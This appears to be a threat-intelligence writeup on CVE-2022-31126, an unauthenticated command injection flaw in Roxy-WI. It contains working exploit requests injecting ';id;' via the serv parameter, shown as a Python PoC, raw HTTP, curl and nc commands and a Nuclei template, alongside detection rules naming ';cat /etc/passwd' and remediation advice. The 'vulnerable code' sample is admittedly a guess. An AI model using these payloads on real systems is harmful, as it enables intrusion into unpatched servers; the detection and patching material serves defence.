CVE-2022-31126
Executive Summary
CVE-2022-31126 is a critical, unauthenticated remote code execution (RCE) vulnerability in Roxy-WI, an open-source web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. The flaw resides in the /app/options.py endpoint, where the ssh_command function fails to sanitize user-supplied input, allowing an attacker to inject arbitrary system commands. With a CVSS score of 9.8 (Critical), this vulnerability can be exploited remotely without authentication, leading to full system compromise. Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of widespread exploitation. The vendor has released version 6.1.1.0 to address the issue, but no official patch commit is publicly documented.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Roxy-WI is a Python-based application distributed via GitHub. The vulnerability does not directly affect a package manager (e.g., PyPI, npm), but the software's dependencies (e.g., Flask, paramiko) could be leveraged in a supply chain attack if the application is deployed with outdated or vulnerable libraries. Organizations using Roxy-WI should verify the integrity of their deployment and ensure all dependencies are up to date.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full control over the affected system. Public exploit code and automated scanning templates lower the barrier for attackers.
Deep Dive & Mechanics
The vulnerability exists in the /app/options.py file of Roxy-WI. The ssh_command function is used to execute system commands on managed servers. However, it does not properly sanitize or validate the serv parameter (or other input fields) before passing it to a system shell. An attacker can inject arbitrary commands by appending a semicolon (;) followed by the desired command to the serv parameter.
Root Cause: The application uses a function like subprocess.Popen or os.system with unsanitized user input, allowing command injection via shell metacharacters (e.g., ;, |, &&).
Attack Flow:
- The attacker sends a POST request to
/app/options.pywith a crafted payload in theservparameter. - The application processes the request and passes the
servvalue to thessh_commandfunction. - The function executes the command in a shell, interpreting the injected payload as part of the command.
- The attacker's command runs with the privileges of the web server (typically
www-dataor equivalent).
Example Payload:
POST /app/options.py HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
show_versions=1&token=&alert_consumer=1&serv=127.0.0.1;id;&getcert=
The id command is executed, and its output is returned in the HTTP response.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-6.1.1.0):
The ssh_command function in /app/funct.py likely uses a pattern similar to:
def ssh_command(serv, command):
# No input sanitization
os.system(f"ssh {serv} {command}")
Patched Code (6.1.1.0+): The vendor should have implemented input validation and sanitization, such as:
import shlex
def ssh_command(serv, command):
# Sanitize input
safe_serv = shlex.quote(serv)
safe_command = shlex.quote(command)
os.system(f"ssh {safe_serv} {safe_command}")
Alternatively, using subprocess.Popen with a list of arguments (avoiding shell=True) would prevent injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Roxy-WI version < 6.1.1.0
- Network access to the web interface (typically port 443 or 80)
Exploit (using provided PoC): The following Python script demonstrates exploitation:
import requests
target = "https://192.168.56.116"
payload = {
"show_versions": "1",
"token": "",
"alert_consumer": "1",
"serv": "127.0.0.1;id;",
"getcert": ""
}
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Referer": f"{target}/app/login.py"
}
response = requests.post(f"{target}/app/options.py", data=payload, headers=headers, verify=False)
print(response.text)
Exploit-DB Code (Full PoC):
# ADVISORY INFORMATION
# Exploit Title: Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE)
# Date of found: 21 July 2022
# Application: Roxy WI <= v6.1.0.0
# Author: Nuri Çilengir
# Vendor Homepage: https://roxy-wi.org
# Software Link: https://github.com/hap-wi/roxy-wi.git
# Advisory: https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-31126
# PoC
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close
show_versions=1&token=&alert_consumer=1&serv=127.0.0.1;id;
Usage: Save the raw HTTP request to a file (e.g., exploit.txt) and use netcat or curl to send it:
nc 192.168.56.116 443 < exploit.txt
Or with curl:
curl -k -X POST https://192.168.56.116/app/options.py -d "show_versions=1&token=&alert_consumer=1&serv=127.0.0.1;id;&getcert="
Blue Team
Detection:
- Monitor HTTP POST requests to
/app/options.pywith unusual parameters (e.g.,servcontaining shell metacharacters). - Look for outbound SSH connections from the Roxy-WI server to unexpected IPs.
- Check for processes spawned by the web server user (e.g.,
www-data) executing shell commands.
Hunting:
- Search web server logs for requests containing
;,|,&&, or other shell metacharacters in theservparameter. - Use the Sigma rule below to detect exploitation attempts.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/app/options.pywithservparameter containing shell metacharacters. - Outbound SSH connections from the Roxy-WI server to unknown hosts.
- POST requests to
- File System:
- Unexpected files in
/tmp/or/var/tmp/created by the web server user. - Modified system binaries or scripts.
- Unexpected files in
- Process:
- Processes like
id,whoami,uname -a, or reverse shells spawned by the web server.
- Processes like
- Logs:
- Web server logs showing
POST /app/options.pywithserv=127.0.0.1;patterns.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2022_31126_Roxy_WI_RCE {
meta:
description = "Detects exploitation attempts of CVE-2022-31126 in Roxy-WI"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-31126"
strings:
$s1 = "show_versions=1&token=&alert_consumer=1&serv="
$s2 = ";id;" ascii wide
$s3 = ";whoami" ascii wide
$s4 = ";uname" ascii wide
$s5 = ";cat /etc/passwd" ascii wide
condition:
any of ($s*) and filesize < 10KB
}
Sigma Rule
title: CVE-2022-31126 Roxy-WI RCE Exploitation Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /app/options.py with shell metacharacters in the serv parameter.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2022-31126
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-stem: /app/options.py
cs-uri-query|contains:
- "serv=127.0.0.1;"
- "serv=localhost;"
- "serv=;"
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2022-31126 Roxy-WI RCE Exploitation Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/app/options.py"; http_uri; content:"serv="; http_client_body; pcre:"/serv=[^&]*[;|&]/"; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2022-31126
info:
name: Roxy-WI - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the ssh_command function without processing the inputs received from the user in the /app/funct.py file.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Users are advised to upgrade to latest version.
reference:
- https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/
- https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
- https://nvd.nist.gov/vuln/detail/CVE-2022-31126
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-31126
cwe-id: CWE-74
epss-score: 0.89949
epss-percentile: 0.99582
cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: roxy-wi
product: roxy-wi
shodan-query: html:"Roxy-WI"
fofa-query: body="roxy-wi"
tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln
http:
- raw:
- |
POST /app/options.py HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: {{BaseURL}}/app/login.py
show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id;
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- type: status
status:
- 200
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Roxy-WI to version 6.1.1.0 or later immediately.
- Isolate: If upgrading is not possible, isolate the Roxy-WI server from untrusted networks (e.g., place behind a VPN or firewall).
- WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the
servparameter.
Long-Term Measures:
- Implement input validation and sanitization for all user-supplied data.
- Use parameterized commands or avoid shell execution entirely (e.g., use
subprocess.Popenwith a list of arguments). - Conduct regular security audits and penetration testing.
- Monitor for similar vulnerabilities in the application's dependencies.
Patch Details: Upgrade to version 6.1.1.0. No official patch commit is available in the advisory, but the vendor's GitHub repository should contain the fix.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 6772D29288C3295239F94EEA] */}